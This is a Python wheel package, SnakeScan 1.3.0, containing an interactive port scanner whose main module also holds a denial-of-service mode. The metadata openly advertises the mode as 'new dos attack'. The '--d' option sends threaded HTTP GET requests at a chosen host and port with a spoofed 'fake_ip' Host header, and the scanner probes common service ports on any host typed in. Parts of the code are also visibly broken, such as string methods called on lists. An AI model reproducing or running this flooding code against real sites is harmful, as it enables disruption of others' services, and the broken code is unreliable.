SnakeScan 1.3.0__py3-none-any.whl

SnakeScan/__init__.py

@@ -0,0 +1,278 @@
+"""Module SnakeScan"""
+__version__="1.3.0"
+import socket
+from art import tprint
+from datetime import datetime
+from tqdm import tqdm
+from termcolor import colored
+from threading import Thread
+portsopen=0
+portsclosed=0
+Run_now=True
+Bool=True
+boolsd=True
+global num
+num=0
+boolean=0
+OpenPorts=[]
+ports = {
+    20: "FTP-DATA", 21: "FTP", 22: "SSH", 23: "Telnet",
+    25: "SMTP", 43: "WHOIS", 53: "DNS", 80: "http",
+    115: "SFTP", 123: "NTP", 143: "IMAP", 161: "SNMP",
+    179: "BGP", 443: "HTTPS", 445: "MICROSOFT-DS",
+    514: "SYSLOG", 515: "PRINTER", 993: "IMAPS",
+    995: "POP3S", 1080: "SOCKS", 1194: "OpenVPN",
+    1433: "SQL Server", 1723: "PPTP", 3128: "HTTP",
+    3268: "LDAP", 3306: "MySQL", 3389: "RDP",
+    5432: "PostgreSQL", 5900: "VNC", 8080: "Tomcat", 10000: "Webmin" }
+def is_port_open(host,port):
+	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+	try:
+		#Connecting...
+		s.connect((host,port))
+		#Port//(Closed<--or-->Open)
+	except:
+		s.close()
+		return False
+	else:
+		s.close()
+		return True
+def dos_threads(host,port,fake_ip):
+	        host=host.strip("--d")
+	        host=host.strip()
+	        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+	        try:
+	            s.connect((host,port))
+	            s.sendto(("GET /"+host+"HTTP/1.1\r\n").encode("ascii"),(host,port))
+	            s.sendto(("Host: "+fake_ip+"\r\n\r\n").encode("ascii"),(host,port))
+	            s.close()
+	            return True
+	        except:
+	           s.close()
+	           return False
+def is_port_open_threads(host,port):
+	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+	try:
+		#Connecting...
+		s.connect((host,port))
+		#Port//(Closed<--or-->Open)
+	except:
+		s.close()
+		try:
+		    print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
+		except:
+		    print(f"Closed{colored('|X|','red')}-->|{all}|")
+		finally:
+		    s.close()
+	else:
+		print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
+print("–"*60)
+tprint("SnakeScan")
+print("–"*60)
+print(f"{__version__}".rjust(60))
+print(f"Skip{colored('|*|','blue')}Error: {colored('Host','green')}{colored('[X]:Error','red')} {colored('|$|','green')} {colored('Port','green')}{colored('[X]:Error','red')}")
+print("Host:[host --i,host --d] Port:[--s port,--a,--t]")
+while Run_now:
+	host=input(f"{colored('[$]','green')}Host-->")
+	if "--i" in host:
+	    host=host.strip("--i").strip()
+	    print("".center(60,"-"))
+	    try:
+	        hostname=socket.gethostbyaddr(host)
+	        print(f"Host:{hostname[0]}")
+	    except:
+	        hostname="None"
+	        print(f"Host:{hostname}")
+	    try:
+	        print(f"IP:{socket.gethostbyname(host)}")
+	    except Exception as e:
+	        print(f"IP:{e}")
+	        continue
+	    finally:
+	        print("".center(60,"-"))
+	    continue
+	if "http://" in host and "--d" in host:
+	    host=host.strip().strip("--d")
+	    host=host.split("http:")
+	    host=host.strip("//")
+	    host=host+""+"--d"
+	    for i in range(len(host)):
+	        if host[i] == "/":
+	           host=host[0:i]
+	if "https://" in host and "--d" in host:
+	    host=host.strip().strip("--d")
+	    host=host.strip("https:")
+	    host=host.strip("//")
+	    host=host+""+"--d"
+	    for i in range(len(host)):
+	        if host[i] == "/":
+	           host=host[0:i]
+	if "http://" in host:
+	    host=host.strip()
+	    host=host.split("http:")
+	    host=host.strip("//")
+	    for i in range(len(host)):
+	        if host[i] == "/":
+	           host=host[0:i]
+	if "https://" in host:
+	    host=host.strip()
+	    host=host.strip("https:")
+	    host=host.strip("//")
+	    for i in range(len(host)):
+	        if host[i] == "/":
+	           host=host[0:i]
+	if "--d" in host:
+	    try:
+	        host=host.strip("--d")
+	        host=host.strip()
+	        host=socket.gethostbyname(host)
+	        host=host+""+"--d"
+	    except:
+	        print(f"{host} is not avaible")
+	        continue
+	if "--d" in host:
+			           try:
+			               threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
+			               dos_port=int(input(f"{colored('[$]','green')}Port-->"))
+			               fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
+			           except:
+			                       while True:
+			                           print(f"{colored('|Threads|Port|','green')}{colored('[X]:Invalid value','red')}")
+			                   			                    
+			                           try:
+			                               threadsnum=int(input(f"{colored('[$]','green')}Threads-->"))
+			                               dos_port=int(input(f"{colored('[$]','green')}Port-->"))
+			                               fake_ip=input(f"{colored('[$]','green')}Fake_ip-->")
+			                            
+			                           except Exception as error:
+			                               print(f"Error:{error}")			                 
+			                               continue
+			                           if threadsnum:
+			                               break
+			           for dos in range(0,threadsnum):
+			               num+=1
+			               t=Thread(target=dos_threads,kwargs={"host":host,"port":dos_port,"fake_ip":fake_ip})
+			               t.start()
+			               t.join()
+			           if dos_threads(host,dos_port,fake_ip):
+			               print("Dos-Information".center(60,"-"))
+			               print(f"{colored('[$]','green')}Threads--> {num} GET/HTTP/1.1")
+			               
+			           else:
+			               try:
+			                   s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+			                   host=host.strip("--d")
+			                   host=socket.gethostbyname(host)
+			                   s.connect((host,dos_port))
+			               except Exception as error:
+			                   print(f"Error:{error}")			                   			               
+			           continue	               			               
+	if host == "Exit"  or host == "exit":
+		break
+	if host == "":
+	    while True:
+	        print(f"{colored('Host','green')}{colored('[X]:Empty value','red')}")
+	        host=input(f"{colored('[$]','green')}Host-->")
+	        if host:
+	            break
+	if host == "localhost":
+	    host=socket.gethostbyname(socket.gethostname())		
+	port_user=input(f"{colored('[$]','green')}Port-->")
+	if port_user == "":
+	    while True:
+	        print(f"{colored('Port','green')}{colored('[X]:Empty value','red')}")
+	        port_user=input(f"{colored('[$]','green')}Port-->")
+	        if port_user:
+	            break
+	port_single=port_user
+	if port_user == "Exit" or port_user == "Exit":
+		break
+	if port_user:
+		try:
+			length=int(port_user)
+		except:
+			   if "--t" in str(port_user):
+			           print(f"Thread".center(60,"-"))
+			           for all in ports.keys():
+			               t=Thread(target=is_port_open_threads,kwargs={"host":host,"port":all})
+			               t.start()
+			               t.join()
+			   if "--a" in str(port_user):
+			           print(f"Check All Ports".center(60,"-"))
+			           for all in ports.keys():
+			               if is_port_open(host,all):
+			                   print(f"Open{colored('|√|','green')}-->{ports[all]}|{all}|")
+			               else:
+			                       try:
+			                           print(f"Closed{colored('|X|','red')}-->{ports[all]}|{all}|")
+			                       except:
+			                           print(f"Closed{colored('|X|','red')}-->|{all}|")
+			           continue
+			   if "--s" in str(port_user):
+			       port_user=port_single.strip().strip("--s")[1:len(port_user)]
+			       for i in range(len(port_user)):
+			           if port_user[i] == " ":
+			               port_user=port_user[0:i]
+			               break
+			       try:
+			           port_user=int(port_user)
+			       except:
+			           port_user="None"
+			       for singel in range(1):
+			           if is_port_open(host,port_user):
+			               print(f"Open{colored('|√|','green')}-->{ports[port_user]}|{port_user}|")
+			           else:
+			               try:
+			                   print(f"Closed{colored('|X|','red')}-->{ports[port_user]}|{port_user}|")
+			               except:
+			                    print(f"Closed{colored('|X|','red')}-->|{port_user}|")
+			  			               
+			       continue
+			       
+			   else:
+			      if "--t" in port_user:
+			          t.join()
+			          continue
+			      port_user="100"
+			      print(f"{colored('[!]','red')}Port:invalid value")
+			      for i in range(0,len(port_user)):
+			          if port_user[i] == " ":
+			              port_user=100
+			              break
+			      port_user=int(port_user)
+			      length=port_user
+	else:
+		print(f"{colored('|*|','blue')}100")
+		port_user=100
+		length=port_user
+	print(f"{colored('|!|','red')}Listening {host} please wait...")
+#|-----------------Starting---------------------|
+	length=int(length)+1
+	for port in tqdm(range(1,length)):
+						if is_port_open(host,port):
+							for name in ports:
+									if port == name:
+										OpenPorts=[port]
+										portsopen+=1
+						else:
+							portsclosed+=1
+						if port_user  != "":
+										if int(port_user) == port:
+											if port_user == "":
+												pass
+											elif int(port_user) == port:
+												if is_port_open(host,port):
+													Bool=True
+													boolean+=1
+										else:
+											Bool=False												
+	if boolean == 1:
+		pass
+	for i in OpenPorts:
+		print(f"Open{colored('|√|','green')}-->{ports[i]}|{i}|")
+	print(f"{host}".center(60,"-"))
+	print(f"Closed{colored('|X|','red')}:{portsclosed}")
+	portsclosed=0
+	print(f"Open{colored('|√|','green')}:{portsopen}")
+	portsopen=0
+	print("-"*60) 

snakescan-1.3.0.dist-info/METADATA

@@ -0,0 +1,37 @@
+Metadata-Version: 2.4
+Name: SnakeScan
+Version: 1.3.0
+Summary: Module SnakeScan
+Author: Den*Ram
+Requires-Python: >=3.9
+Description-Content-Type: text/markdown
+License-Expression: MIT
+License-File: LICENSE
+Requires-Dist: art
+Requires-Dist: tqdm
+Requires-Dist: termcolor
+Project-URL: Homepage, https://github.com/Den-Ram/SnakeScan
+Project-URL: Repository, https://github.com/Den-Ram/SnakeScan
+
+Scanner to scan port
+
+import SnakeScan
+
+and use module to scan port 
+
+requires=>tqdm,termcolor,art
+
+added new single search:
+    
+[$]Port--> --s 50
+
+requires-python=>3.9
+
+added new check all port search:
+ [$]Port--> --a 
+added new check all port using thread:
+ [$]Port--> --t 
+ added new dos attack:
+     [$]Host-->https://example.com --d
+ 
+ 

snakescan-1.3.0.dist-info/RECORD

@@ -0,0 +1,5 @@
+SnakeScan/__init__.py,sha256=SGZiFBmT-ZWQViaYAtIa77fIWOxtEvlaLw1uO4ThI90,9563
+snakescan-1.3.0.dist-info/licenses/LICENSE,sha256=lzNz9Vh-custynZ54aJvkYgfx_USbIOHAVskg7zI7YQ,1074
+snakescan-1.3.0.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82
+snakescan-1.3.0.dist-info/METADATA,sha256=jgDm45VgvGQqoQ3UL7fs5It_fv21TX_2YVxIwDP8MIk,734
+snakescan-1.3.0.dist-info/RECORD,,

snakescan-1.3.0.dist-info/WHEEL

@@ -0,0 +1,4 @@
+Wheel-Version: 1.0
+Generator: flit 3.12.0
+Root-Is-Purelib: true
+Tag: py3-none-any

snakescan-1.3.0.dist-info/licenses/LICENSE

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2025 Den*Ram
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.